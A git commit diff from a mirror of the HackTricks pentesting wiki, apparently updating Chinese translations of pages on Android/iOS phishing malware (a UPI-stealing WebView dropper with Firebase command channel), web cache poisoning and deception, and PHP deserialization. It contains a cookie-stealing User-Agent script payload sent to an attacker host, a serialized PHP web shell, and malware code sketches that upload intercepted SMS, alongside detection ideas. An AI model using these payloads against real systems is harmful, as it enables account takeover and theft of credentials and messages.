mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/cache-deception/README.md', 'src/gen
This commit is contained in:
parent
72f9b6a46f
commit
8f6fbb12e8
@ -3,7 +3,7 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!INFO]
|
||||
> 本页涵盖了威胁行为者通过钓鱼(SEO、社交工程、假商店、约会应用等)分发**恶意 Android APK**和**iOS 移动配置文件**的技术。
|
||||
> 本页面涵盖了威胁行为者通过钓鱼(SEO、社交工程、假商店、约会应用等)分发**恶意 Android APK**和**iOS 移动配置文件**的技术。
|
||||
> 材料改编自 Zimperium zLabs(2025)曝光的 SarangTrap 活动和其他公开研究。
|
||||
|
||||
## 攻击流程
|
||||
@ -11,38 +11,38 @@
|
||||
1. **SEO/钓鱼基础设施**
|
||||
* 注册数十个相似域名(约会、云分享、汽车服务等)。
|
||||
– 在 `<title>` 元素中使用本地语言关键词和表情符号以在 Google 中排名。
|
||||
– 在同一着陆页上托管 *Android*(`.apk`)和 *iOS* 安装说明。
|
||||
– 在同一着陆页上托管*Android*(`.apk`)和*iOS* 安装说明。
|
||||
2. **第一阶段下载**
|
||||
* Android:直接链接到 *未签名* 或“第三方商店”APK。
|
||||
* iOS:`itms-services://` 或普通 HTTPS 链接到恶意 **mobileconfig** 配置文件(见下文)。
|
||||
* Android:直接链接到*未签名*或“第三方商店”APK。
|
||||
* iOS:`itms-services://`或普通 HTTPS 链接到恶意**mobileconfig**配置文件(见下文)。
|
||||
3. **安装后的社交工程**
|
||||
* 应用首次运行时要求输入 **邀请/验证代码**(独占访问幻觉)。
|
||||
* 代码通过 **HTTP POST** 发送到指挥与控制(C2)。
|
||||
* 应用首次运行时要求输入**邀请/验证代码**(独占访问幻觉)。
|
||||
* 代码通过**HTTP POST**发送到指挥与控制(C2)。
|
||||
* C2 回复 `{"success":true}` ➜ 恶意软件继续。
|
||||
* 沙箱/AV 动态分析未提交有效代码时不会看到 **恶意行为**(规避)。
|
||||
* 动态分析沙箱/AV未提交有效代码时未见**恶意行为**(规避)。
|
||||
4. **运行时权限滥用**(Android)
|
||||
* 危险权限仅在 **C2 正面响应后** 请求:
|
||||
* 仅在收到正面 C2 响应后请求危险权限:
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||
<!-- 较旧版本也请求 SMS 权限 -->
|
||||
```
|
||||
* 最近的变种 **从 `AndroidManifest.xml` 中移除 SMS 的 `<uses-permission>`**,但保留通过反射读取 SMS 的 Java/Kotlin 代码路径 ⇒ 降低静态评分,同时在通过 `AppOps` 滥用或旧目标授予权限的设备上仍然有效。
|
||||
* 最近的变种**从 `AndroidManifest.xml` 中移除 SMS 的 `<uses-permission>`**,但保留通过反射读取 SMS 的 Java/Kotlin 代码路径 ⇒ 降低静态评分,同时在通过 `AppOps` 滥用或旧目标授予权限的设备上仍然有效。
|
||||
5. **外观 UI 和后台收集**
|
||||
* 应用显示无害视图(SMS 查看器、图库选择器)在本地实现。
|
||||
* 同时它提取:
|
||||
* 同时,它提取:
|
||||
- IMEI / IMSI,电话号码
|
||||
- 完整的 `ContactsContract` 转储(JSON 数组)
|
||||
- 从 `/sdcard/DCIM` 压缩的 JPEG/PNG,使用 [Luban](https://github.com/Curzibn/Luban) 减小大小
|
||||
- 可选 SMS 内容(`content://sms`)
|
||||
有效载荷通过 `HTTP POST /upload.php` **批量压缩**并发送。
|
||||
6. **iOS 交付技术**
|
||||
* 单个 **移动配置文件** 可以请求 `PayloadType=com.apple.sharedlicenses`,`com.apple.managedConfiguration` 等,以将设备注册到“MDM”类监督中。
|
||||
* 单个**移动配置文件**可以请求 `PayloadType=com.apple.sharedlicenses`、`com.apple.managedConfiguration` 等,以将设备注册到“MDM”类监督中。
|
||||
* 社交工程指令:
|
||||
1. 打开设置 ➜ *配置文件已下载*。
|
||||
2. 点击 *安装* 三次(钓鱼页面上的截图)。
|
||||
3. 信任未签名的配置文件 ➜ 攻击者获得 *联系人* 和 *照片* 权限,无需 App Store 审核。
|
||||
3. 信任未签名的配置文件 ➜ 攻击者获得*联系人*和*照片*权限,无需 App Store 审核。
|
||||
7. **网络层**
|
||||
* 普通 HTTP,通常在端口 80 上,HOST 头如 `api.<phishingdomain>.com`。
|
||||
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)`(无 TLS → 易于发现)。
|
||||
@ -80,15 +80,133 @@ return conn;
|
||||
};
|
||||
});
|
||||
```
|
||||
## 指标(通用)
|
||||
## 指标 (通用)
|
||||
```
|
||||
/req/checkCode.php # invite code validation
|
||||
/upload.php # batched ZIP exfiltration
|
||||
LubanCompress 1.1.8 # "Luban" string inside classes.dex
|
||||
```
|
||||
## 参考
|
||||
---
|
||||
|
||||
- [浪漫的黑暗面:SarangTrap 敲诈活动](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
||||
- [Luban – Android 图像压缩库](https://github.com/Curzibn/Luban)
|
||||
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
|
||||
|
||||
此模式已在利用政府福利主题的活动中观察到,目的是窃取印度UPI凭证和一次性密码(OTPs)。操作者链式使用信誉良好的平台以实现交付和韧性。
|
||||
|
||||
### 通过受信平台的交付链
|
||||
- YouTube视频诱饵 → 描述中包含一个短链接
|
||||
- 短链接 → GitHub Pages钓鱼网站模仿合法门户
|
||||
- 同一GitHub仓库托管一个带有假“Google Play”徽章的APK,直接链接到文件
|
||||
- 动态钓鱼页面托管在Replit上;远程命令通道使用Firebase Cloud Messaging (FCM)
|
||||
|
||||
### 带有嵌入有效载荷和离线安装的投放器
|
||||
- 第一个APK是一个安装程序(投放器),它在`assets/app.apk`中传送真实恶意软件,并提示用户禁用Wi‑Fi/移动数据以减轻云检测。
|
||||
- 嵌入的有效载荷以无害标签(例如,“安全更新”)安装。安装后,安装程序和有效载荷作为独立应用程序存在。
|
||||
|
||||
静态分类提示(grep嵌入有效载荷):
|
||||
```bash
|
||||
unzip -l sample.apk | grep -i "assets/app.apk"
|
||||
# Or:
|
||||
zipgrep -i "classes|.apk" sample.apk | head
|
||||
```
|
||||
### 动态端点发现通过短链接
|
||||
- 恶意软件从短链接获取一个纯文本的、以逗号分隔的活动端点列表;简单的字符串转换生成最终的钓鱼页面路径。
|
||||
|
||||
示例(已清理):
|
||||
```
|
||||
GET https://rebrand.ly/dclinkto2
|
||||
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
|
||||
Transform: "gate.html" → "gate.htm" (loaded in WebView)
|
||||
UPI credential POST: https://sqcepo.replit.app/addup.php
|
||||
SMS upload: https://sqcepo.replit.app/addsm.php
|
||||
```
|
||||
伪代码:
|
||||
```java
|
||||
String csv = httpGet(shortlink);
|
||||
String[] parts = csv.split(",");
|
||||
String upiPage = parts[0].replace("gate.html", "gate.htm");
|
||||
String smsPost = parts[1];
|
||||
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
||||
```
|
||||
### 基于WebView的UPI凭证收集
|
||||
- “支付₹1 / UPI‑Lite”步骤从动态端点加载攻击者的HTML表单到WebView中,并捕获敏感字段(电话、银行、UPI PIN),这些字段会被`POST`到`addup.php`。
|
||||
|
||||
最小加载器:
|
||||
```java
|
||||
WebView wv = findViewById(R.id.web);
|
||||
wv.getSettings().setJavaScriptEnabled(true);
|
||||
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
||||
```
|
||||
### 自我传播和短信/一次性密码拦截
|
||||
- 在首次运行时请求激进的权限:
|
||||
```xml
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.SEND_SMS"/>
|
||||
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
||||
```
|
||||
- 联系人被循环用于从受害者的设备上批量发送钓鱼短信。
|
||||
- 通过广播接收器拦截传入的短信,并将其与元数据(发送者、内容、SIM卡插槽、每个设备的随机ID)一起上传到`/addsm.php`。
|
||||
|
||||
接收器草图:
|
||||
```java
|
||||
public void onReceive(Context c, Intent i){
|
||||
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
|
||||
for (SmsMessage m: msgs){
|
||||
postForm(urlAddSms, new FormBody.Builder()
|
||||
.add("senderNum", m.getOriginatingAddress())
|
||||
.add("Message", m.getMessageBody())
|
||||
.add("Slot", String.valueOf(getSimSlot(i)))
|
||||
.add("Device rand", getOrMakeDeviceRand(c))
|
||||
.build());
|
||||
}
|
||||
}
|
||||
```
|
||||
### Firebase Cloud Messaging (FCM) 作为弹性 C2
|
||||
- 负载注册到 FCM;推送消息携带一个 `_type` 字段,用作触发动作的开关(例如,更新钓鱼文本模板,切换行为)。
|
||||
|
||||
示例 FCM 负载:
|
||||
```json
|
||||
{
|
||||
"to": "<device_fcm_token>",
|
||||
"data": {
|
||||
"_type": "update_texts",
|
||||
"template": "New subsidy message..."
|
||||
}
|
||||
}
|
||||
```
|
||||
处理程序草图:
|
||||
```java
|
||||
@Override
|
||||
public void onMessageReceived(RemoteMessage msg){
|
||||
String t = msg.getData().get("_type");
|
||||
switch (t){
|
||||
case "update_texts": applyTemplate(msg.getData().get("template")); break;
|
||||
case "smish": sendSmishToContacts(); break;
|
||||
// ... more remote actions
|
||||
}
|
||||
}
|
||||
```
|
||||
### Hunting patterns and IOCs
|
||||
- APK包含次要有效载荷在`assets/app.apk`
|
||||
- WebView从`gate.htm`加载支付并外泄到`/addup.php`
|
||||
- 短信外泄到`/addsm.php`
|
||||
- 短链接驱动的配置获取(例如,`rebrand.ly/*`)返回CSV端点
|
||||
- 应用标记为通用“更新/安全更新”
|
||||
- FCM `data`消息在不受信任的应用中带有`_type`区分符
|
||||
|
||||
### Detection & defence ideas
|
||||
- 标记指示用户在安装期间禁用网络的应用,然后从`assets/`侧载第二个APK。
|
||||
- 对权限元组发出警报:`READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + 基于WebView的支付流程。
|
||||
- 对非企业主机的`POST /addup.php|/addsm.php`进行出口监控;阻止已知基础设施。
|
||||
- 移动EDR规则:不受信任的应用注册FCM并在`_type`字段上分支。
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
||||
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
|
||||
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
|
||||
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,28 +4,28 @@
|
||||
|
||||
## The difference
|
||||
|
||||
> **Web缓存中毒和Web缓存欺骗之间有什么区别?**
|
||||
> **web cache poisoning 和 web cache deception 之间有什么区别?**
|
||||
>
|
||||
> - 在**Web缓存中毒**中,攻击者使应用程序在缓存中存储一些恶意内容,并且这些内容会从缓存中提供给其他应用程序用户。
|
||||
> - 在**Web缓存欺骗**中,攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容,然后攻击者从缓存中检索这些内容。
|
||||
> - 在 **web cache poisoning** 中,攻击者使应用程序在缓存中存储一些恶意内容,并且这些内容会从缓存中提供给其他应用程序用户。
|
||||
> - 在 **web cache deception** 中,攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容,然后攻击者从缓存中检索这些内容。
|
||||
|
||||
## Cache Poisoning
|
||||
|
||||
缓存中毒旨在操纵客户端缓存,以强制客户端加载意外、部分或由攻击者控制的资源。影响的程度取决于受影响页面的受欢迎程度,因为被污染的响应仅在缓存污染期间提供给访问该页面的用户。
|
||||
Cache poisoning 旨在操纵客户端缓存,以强制客户端加载意外、部分或由攻击者控制的资源。影响的程度取决于受影响页面的受欢迎程度,因为被污染的响应仅在缓存污染期间提供给访问该页面的用户。
|
||||
|
||||
执行缓存中毒攻击涉及几个步骤:
|
||||
执行 cache poisoning 攻击涉及几个步骤:
|
||||
|
||||
1. **识别无键输入**:这些是参数,尽管不是请求缓存所必需的,但可以改变服务器返回的响应。识别这些输入至关重要,因为它们可以被利用来操纵缓存。
|
||||
2. **利用无键输入**:在识别无键输入后,下一步是弄清楚如何滥用这些参数,以修改服务器的响应,从而使攻击者受益。
|
||||
1. **识别未键入的输入**:这些是参数,尽管不是请求缓存所必需的,但可以改变服务器返回的响应。识别这些输入至关重要,因为它们可以被利用来操纵缓存。
|
||||
2. **利用未键入的输入**:在识别未键入的输入后,下一步是弄清楚如何滥用这些参数,以修改服务器的响应,从而使攻击者受益。
|
||||
3. **确保被污染的响应被缓存**:最后一步是确保被操纵的响应被存储在缓存中。这样,任何在缓存被污染时访问受影响页面的用户将收到被污染的响应。
|
||||
|
||||
### Discovery: Check HTTP headers
|
||||
|
||||
通常,当响应被**存储在缓存中**时,会有一个**指示的头部**,您可以在此帖子中检查应该关注哪些头部:[**HTTP缓存头部**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
|
||||
通常,当响应被 **存储在缓存中** 时,会有一个 **指示的头部**,您可以查看在此帖子中应关注哪些头部:[**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers)。
|
||||
|
||||
### Discovery: Caching error codes
|
||||
|
||||
如果您认为响应正在被存储在缓存中,您可以尝试**发送带有错误头部的请求**,这应该会以**状态码400**响应。然后尝试正常访问请求,如果**响应是400状态码**,您就知道它是脆弱的(您甚至可以执行DoS)。
|
||||
如果您认为响应正在被存储在缓存中,您可以尝试 **发送带有错误头的请求**,这应该会以 **状态码 400** 响应。然后尝试正常访问请求,如果 **响应是 400 状态码**,您就知道它是脆弱的(您甚至可以执行 DoS)。
|
||||
|
||||
您可以在以下位置找到更多选项:
|
||||
|
||||
@ -33,11 +33,11 @@
|
||||
cache-poisoning-to-dos.md
|
||||
{{#endref}}
|
||||
|
||||
但是,请注意,**有时这些状态码不会被缓存**,因此此测试可能不可靠。
|
||||
但是,请注意 **有时这些状态码不会被缓存**,因此此测试可能不可靠。
|
||||
|
||||
### Discovery: Identify and evaluate unkeyed inputs
|
||||
|
||||
您可以使用[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)来**暴力破解可能**改变页面响应的**参数和头部**。例如,一个页面可能使用头部`X-Forwarded-For`来指示客户端从那里加载脚本:
|
||||
您可以使用 [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) 来 **暴力破解可能会改变页面响应的参数和头部**。例如,一个页面可能使用头部 `X-Forwarded-For` 来指示客户端从那里加载脚本:
|
||||
```html
|
||||
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
|
||||
```
|
||||
@ -71,7 +71,7 @@ X-Forwarded-Host: a."><script>alert(1)</script>"
|
||||
```
|
||||
_注意,这将使对 `/en?region=uk` 的请求中毒,而不是 `/en`_
|
||||
|
||||
### 缓存中毒导致拒绝服务
|
||||
### 缓存中毒以进行 DoS
|
||||
|
||||
{{#ref}}
|
||||
cache-poisoning-to-dos.md
|
||||
@ -81,7 +81,7 @@ cache-poisoning-to-dos.md
|
||||
|
||||
在 **[这篇文章](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** 中解释了以下简单场景:
|
||||
|
||||
- CDN 将缓存任何位于 `/share/` 下的内容
|
||||
- CDN 将缓存 `/share/` 下的任何内容
|
||||
- CDN 不会解码或规范化 `%2F..%2F`,因此可以用作 **路径遍历以访问其他将被缓存的敏感位置**,例如 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
|
||||
- Web 服务器将解码和规范化 `%2F..%2F`,并将响应 `/api/auth/session`,该响应 **包含身份验证令牌**。
|
||||
|
||||
@ -105,7 +105,7 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### 通过路径遍历进行缓存中毒以窃取 API 密钥 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
[**这篇文章解释了**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 如何通过一个 URL 如 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 窃取 OpenAI API 密钥,因为任何匹配 `/share/*` 的内容都会被缓存,而 Cloudflare 不会对 URL 进行规范化,这在请求到达 web 服务器时会发生。
|
||||
[**这篇文章解释了**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) 如何通过一个像 `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` 的 URL 窃取 OpenAI API 密钥,因为任何匹配 `/share/*` 的内容都会被缓存,而 Cloudflare 在请求到达 web 服务器时并未对 URL 进行规范化。
|
||||
|
||||
这在以下内容中也有更好的解释:
|
||||
|
||||
@ -115,14 +115,14 @@ cache-poisoning-via-url-discrepancies.md
|
||||
|
||||
### 使用多个头部来利用 web 缓存中毒漏洞 <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
有时您需要 **利用多个无键输入** 来滥用缓存。例如,如果您将 `X-Forwarded-Host` 设置为您控制的域名,并将 `X-Forwarded-Scheme` 设置为 `http`,您可能会发现一个 **开放重定向**。**如果** 服务器 **将** 所有 **HTTP** 请求 **转发** 到 **HTTPS** 并使用头部 `X-Forwarded-Scheme` 作为重定向的域名。您可以控制重定向指向的页面。
|
||||
有时您需要 **利用多个无键输入** 来滥用缓存。例如,如果您将 `X-Forwarded-Host` 设置为您控制的域名,并将 `X-Forwarded-Scheme` 设置为 `http`,您可能会发现一个 **开放重定向**。**如果** 服务器 **将所有 HTTP 请求转发** 到 HTTPS,并使用头部 `X-Forwarded-Scheme` 作为重定向的域名。您可以控制重定向指向的页面。
|
||||
```html
|
||||
GET /resources/js/tracking.js HTTP/1.1
|
||||
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
|
||||
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
|
||||
X-Forwarded-Scheme: http
|
||||
```
|
||||
### 利用有限的 `Vary` 头
|
||||
### 利用有限的 `Vary`头
|
||||
|
||||
如果你发现 **`X-Host`** 头被用作 **加载 JS 资源的域名**,但响应中的 **`Vary`** 头指示 **`User-Agent`**。那么,你需要找到一种方法来提取受害者的 User-Agent,并使用该用户代理来污染缓存:
|
||||
```html
|
||||
@ -133,7 +133,7 @@ X-Host: attacker.com
|
||||
```
|
||||
### Fat Get
|
||||
|
||||
发送一个带有请求的 GET 请求,URL 和请求体中都包含该请求。如果 web 服务器使用请求体中的内容,但缓存服务器缓存的是 URL 中的内容,那么任何访问该 URL 的人实际上将使用请求体中的参数。就像 James Kettle 在 Github 网站上发现的漏洞:
|
||||
发送一个带有请求的 GET 请求,URL 和请求体中都包含该请求。如果 web 服务器使用请求体中的内容,但缓存服务器缓存了 URL 中的内容,那么任何访问该 URL 的人实际上将使用请求体中的参数。就像 James Kettle 在 Github 网站上发现的漏洞:
|
||||
```
|
||||
GET /contact/report-abuse?report=albinowax HTTP/1.1
|
||||
Host: github.com
|
||||
@ -146,13 +146,13 @@ report=innocent-victim
|
||||
|
||||
### 参数伪装
|
||||
|
||||
例如,在ruby服务器中,可以使用字符**`;`**而不是**`&`**来分隔**参数**。这可以用来将无键参数值放入有键参数中并加以利用。
|
||||
例如,在ruby服务器中,可以使用字符**`;`**而不是**`&`**来分隔**参数**。这可以用来将无键参数值放入有键参数中并进行滥用。
|
||||
|
||||
Portswigger实验室:[https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
|
||||
|
||||
### 通过滥用HTTP请求走私来利用HTTP缓存中毒
|
||||
|
||||
在这里了解如何通过滥用[HTTP请求走私进行缓存中毒攻击](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)。
|
||||
在这里了解如何通过滥用HTTP请求走私来执行[缓存中毒攻击](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)。
|
||||
|
||||
### Web缓存中毒的自动化测试
|
||||
|
||||
@ -170,11 +170,11 @@ Portswigger实验室:[https://portswigger.net/web-security/web-cache-poisoning
|
||||
|
||||
实用配方(在一个流行的CDN/WAF中观察到):
|
||||
|
||||
1) 从一个干净的IP(避免之前基于声誉的降级),通过浏览器或Burp Proxy Match & Replace设置一个恶意的`User-Agent`。
|
||||
1) 从一个干净的IP(避免先前基于声誉的降级),通过浏览器或Burp Proxy Match & Replace设置一个恶意的`User-Agent`。
|
||||
2) 在Burp Repeater中,准备一组两个请求并使用“并行发送组”(单包模式效果最佳):
|
||||
- 第一个请求:GET同一来源上的`.js`资源路径,同时发送你的恶意`User-Agent`。
|
||||
- 紧接着:GET主页面(`/`)。
|
||||
3) CDN/WAF路由竞争加上自动缓存的`.js`通常会播种一个被毒化的缓存HTML变体,然后提供给共享相同缓存键条件的其他访客(例如,相同的`Vary`维度,如`User-Agent`)。
|
||||
3) CDN/WAF路由竞争加上自动缓存的`.js`通常会播种一个被毒化的缓存HTML变体,然后提供给共享相同缓存键条件的其他访客(例如,具有相同`Vary`维度如`User-Agent`)。
|
||||
|
||||
示例头部有效负载(用于提取非HttpOnly cookies):
|
||||
```
|
||||
@ -188,7 +188,7 @@ User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oas
|
||||
|
||||
影响:
|
||||
|
||||
- 如果会话cookie不是`HttpOnly`,则通过大规模提取所有用户的`document.cookie`,可能实现零点击ATO。
|
||||
- 如果会话cookie不是`HttpOnly`,则通过大规模提取所有用户的`document.cookie`,可能会实现零点击ATO。
|
||||
|
||||
防御:
|
||||
|
||||
@ -220,7 +220,7 @@ Cloudflare之前缓存403响应。尝试使用不正确的授权头访问S3或Az
|
||||
|
||||
### 注入键参数
|
||||
|
||||
缓存通常在缓存键中包含特定的GET参数。例如,Fastly的Varnish在请求中缓存`size`参数。然而,如果以错误值发送参数的URL编码版本(例如,`siz%65`),缓存键将使用正确的`size`参数构建。然而,后端将处理URL编码参数中的值。对第二个`size`参数进行URL编码导致其被缓存省略,但被后端使用。将该参数的值设置为0导致可缓存的400错误请求。
|
||||
缓存通常在缓存键中包含特定的GET参数。例如,Fastly的Varnish在请求中缓存`size`参数。然而,如果还发送了一个URL编码版本的参数(例如,`siz%65`)并且值错误,缓存键将使用正确的`size`参数构建。然而,后端将处理URL编码参数中的值。对第二个`size`参数进行URL编码导致其被缓存省略,但被后端使用。将该参数的值设置为0导致可缓存的400错误请求。
|
||||
|
||||
### 用户代理规则
|
||||
|
||||
@ -236,9 +236,9 @@ Cloudflare之前缓存403响应。尝试使用不正确的授权头访问S3或Az
|
||||
|
||||
## 缓存欺骗
|
||||
|
||||
缓存欺骗的目标是使客户端**加载将被缓存保存的资源,并带有其敏感信息**。
|
||||
缓存欺骗的目标是使客户端**加载将被缓存保存的资源及其敏感信息**。
|
||||
|
||||
首先请注意,**扩展名**如`.css`、`.js`、`.png`等通常**配置**为**保存**在**缓存**中。因此,如果您访问`www.example.com/profile.php/nonexistent.js`,缓存可能会存储响应,因为它看到`.js`**扩展名**。但是,如果**应用程序**正在**重放**存储在_www.example.com/profile.php_中的**敏感**用户内容,您可以**窃取**其他用户的这些内容。
|
||||
首先请注意,**扩展名**如`.css`、`.js`、`.png`等通常被**配置**为**保存**在**缓存**中。因此,如果您访问`www.example.com/profile.php/nonexistent.js`,缓存可能会存储响应,因为它看到`.js`**扩展名**。但是,如果**应用程序**正在**重放**存储在_www.example.com/profile.php_中的**敏感**用户内容,您可以**窃取**其他用户的这些内容。
|
||||
|
||||
其他测试内容:
|
||||
|
||||
@ -250,10 +250,10 @@ Cloudflare之前缓存403响应。尝试使用不正确的授权头访问S3或Az
|
||||
- _使用不太常见的扩展名,如_ `.avif`
|
||||
|
||||
另一个非常清晰的例子可以在这篇文章中找到:[https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
|
||||
在示例中,解释了如果您加载一个不存在的页面,如_http://www.example.com/home.php/non-existent.css_,将返回_http://www.example.com/home.php_(**带有用户的敏感信息**)的内容,并且缓存服务器将保存结果。\
|
||||
然后,**攻击者**可以在自己的浏览器中访问_http://www.example.com/home.php/non-existent.css_并观察之前访问的用户的**机密信息**。
|
||||
在示例中,解释了如果您加载一个不存在的页面,如_http://www.example.com/home.php/non-existent.css_,将返回_http://www.example.com/home.php_(**包含用户的敏感信息**)的内容,并且缓存服务器将保存结果。\
|
||||
然后,**攻击者**可以在自己的浏览器中访问_http://www.example.com/home.php/non-existent.css_并观察之前访问过的用户的**机密信息**。
|
||||
|
||||
请注意,**缓存代理**应**配置**为根据文件的**扩展名**(_.css_)**缓存**文件,而不是根据内容类型。在示例_http://www.example.com/home.php/non-existent.css_中,将具有`text/html`内容类型,而不是`text/css` MIME类型(这是_.css_文件的预期)。
|
||||
请注意,**缓存代理**应被**配置**为根据文件的**扩展名**(_.css_)而不是根据内容类型来**缓存**文件。在示例_http://www.example.com/home.php/non-existent.css_中,将具有`text/html`内容类型,而不是`text/css` MIME类型(这是_.css_文件的预期)。
|
||||
|
||||
在这里了解如何执行[利用HTTP请求走私进行缓存欺骗攻击](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)。
|
||||
|
||||
@ -269,7 +269,7 @@ Cloudflare之前缓存403响应。尝试使用不正确的授权头访问S3或Az
|
||||
- [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/)
|
||||
- [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
|
||||
- [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
|
||||
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
- [我如何在公共BBP中发现0点击账户接管并利用它访问管理员级功能](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
- [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
|
||||
|
||||
|
||||
|
||||
@ -4,19 +4,19 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**序列化** 被理解为将对象转换为可以保存的格式的方法,目的是存储对象或将其作为通信过程的一部分进行传输。这种技术通常用于确保对象可以在稍后时间重新创建,保持其结构和状态。
|
||||
**序列化**被理解为将对象转换为可以保存的格式的方法,目的是存储对象或将其作为通信过程的一部分进行传输。这种技术通常用于确保对象可以在稍后的时间重新创建,保持其结构和状态。
|
||||
|
||||
**反序列化** 则是抵消序列化的过程。它涉及将以特定格式结构化的数据重新构建回对象。
|
||||
**反序列化**,相反,是抵消序列化的过程。它涉及将以特定格式结构化的数据重新构建回对象。
|
||||
|
||||
反序列化可能是危险的,因为它可能 **允许攻击者操纵序列化数据以执行有害代码** 或在对象重建过程中导致应用程序出现意外行为。
|
||||
反序列化可能是危险的,因为它可能**允许攻击者操纵序列化数据以执行有害代码**或在对象重建过程中导致应用程序出现意外行为。
|
||||
|
||||
## PHP
|
||||
|
||||
在 PHP 中,特定的魔术方法在序列化和反序列化过程中被使用:
|
||||
在PHP中,特定的魔术方法在序列化和反序列化过程中被使用:
|
||||
|
||||
- `__sleep`: 在对象被序列化时调用。此方法应返回一个数组,包含所有应被序列化的对象属性的名称。它通常用于提交待处理的数据或执行类似的清理任务。
|
||||
- `__wakeup`: 在对象被反序列化时调用。它用于重新建立在序列化过程中可能丢失的任何数据库连接,并执行其他重新初始化任务。
|
||||
- `__unserialize`: 当对象被反序列化时,此方法会被调用(如果存在),而不是 `__wakeup`。与 `__wakeup` 相比,它对反序列化过程提供了更多控制。
|
||||
- `__unserialize`: 当对象被反序列化时,此方法会被调用(如果存在),而不是`__wakeup`。与`__wakeup`相比,它对反序列化过程提供了更多控制。
|
||||
- `__destruct`: 当对象即将被销毁或脚本结束时调用此方法。它通常用于清理任务,如关闭文件句柄或数据库连接。
|
||||
- `__toString`: 此方法允许将对象视为字符串。它可以用于读取文件或其他基于其中函数调用的任务,有效地提供对象的文本表示。
|
||||
```php
|
||||
@ -175,7 +175,7 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
|
||||
|
||||
### phar:// 元数据反序列化
|
||||
|
||||
如果你发现一个 LFI 只是读取文件而不执行其中的 PHP 代码,例如使用 _**file_get_contents(), fopen(), file() 或 file_exists(), md5_file(), filemtime() 或 filesize()**_**。** 你可以尝试滥用在使用 **phar** 协议时 **读取** **文件** 时发生的 **反序列化**。\
|
||||
